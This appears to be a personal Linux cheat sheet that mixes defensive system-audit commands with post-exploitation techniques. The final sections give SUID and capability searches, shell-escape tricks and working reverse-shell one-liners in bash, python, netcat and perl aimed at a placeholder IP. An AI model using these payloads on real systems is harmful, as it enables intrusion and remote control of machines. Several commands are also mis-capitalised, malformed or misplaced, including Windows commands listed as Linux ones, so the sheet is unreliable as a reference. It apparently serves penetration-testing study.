Linux Cheat Sheet

Useful commands

ls -la
echo $PATH
locate
--version example: python --version
Which example: which python
arp -a
pwd
Whoami
<query_command> | grep
> to add to file (overwrites existing file)
>> to add to file (appends existing file)

User Accounts

- Identify curious-looking accounts in the administrators group [requires root/sudo privs]
- Related command: cat /etc/passwd

Show user groups

- Related command: groups
- Related command: cat /etc/groups
- Related command: id ‘user’

Processes **(focus on those running with high privileges)**

- Identify abnormal/vulnerable processes
- Related command: ps aux
- Related command: ps -U ‘user’
- Related command: pgrep firefox

Services

- Identify abnormal/vulnerable services
- Related command: systemctl --type=service
- Related command: netstat -ltup | grep ‘service_name’

Scheduled tasks

- Identify curious-looking scheduled tasks [search for task scheduler in start menu search]
- Related command: crontab -l
- Related command: less /etc/crontab
- Related command: sudo crontab -u ‘user’ -l
- Related command: ls -la /etc/cron.daily

- Related command: ls -la /etc/cron.hourly
- Related command: ls -la /etc/cron.weekly
- Related command: ls -la /etc/cron.monthly

Extra startup items

- Identify users' autostart folders
- Related command: find / -name "*autostart*"

Listening and active TCP and UDP ports

- Identify abnormal/vulnerable listening and active TCP and UDP ports
- Related command: netstat --listen
- Related command: netstat -vat

File Shares

- All available file shares of a machine should be justified
- Related command: smbclient -L localhost

Files

- Identify major decreases in free space
- Related command: find / -size +10k -exec ls -lh {} \+

Firewall Settings

- Examining current firewall settings to detect abnormalities from a baseline
- Related command: firewall-cmd --list-services
- Related command: firewall-cmd --list-ports
- Related command: sudo ufw status

Systems connected to the machine

- Identify NetBIOS over TCP/IP activity
- Related command: nmblookup -A <IP_ADDRESS>

Open sessions

- Knowing who has an open session with a machine is very important
- Related command: net session

Sessions with other systems (NetBIOS/SMB)

- Identify sessions the machine has opened with other systems
- Related command: who -u

Log entries

- Identify curious-looking events [depending on log size use head, tail, less or just open in text editor you can also pipe grep for keywords]
- Related command: cat /var/log/file.log
- Related command: cat /var/log/file.log | grep python

Finding SUIDS

Find / -perm -4000 2>/dev/null

Find setuid

Getcap -r / 2>/dev/null

Shell spawning

- Related command: Python -c 'import pty; pty.spawn("/bin/sh")'
- Related command: Echo os.system('/bin/bash')
- Related command: /bin/sh -i
- Related command: Perl --e 'exec "/bin/sh";'
- Related command: Ruby: exec "/bin/sh"
- Related command: Lua: os.execute('/bin/sh')
- From within IRB
  - exec "/bin/sh"
- From within vi [exit vi by pressing escape to enter command mode, then :wq]
  - "!bash
- From within nmap (--interactive)
  - !sh

Reading files without permissions

Find file.txt -exec cat file.txt \;

One liner reverse shells [your_ip port]

- Bash -i >& /dev/tcp/10.10.10.10/1337 0>&1

- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

- nc -e /bin/sh 10.0.0.1 1234

- perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'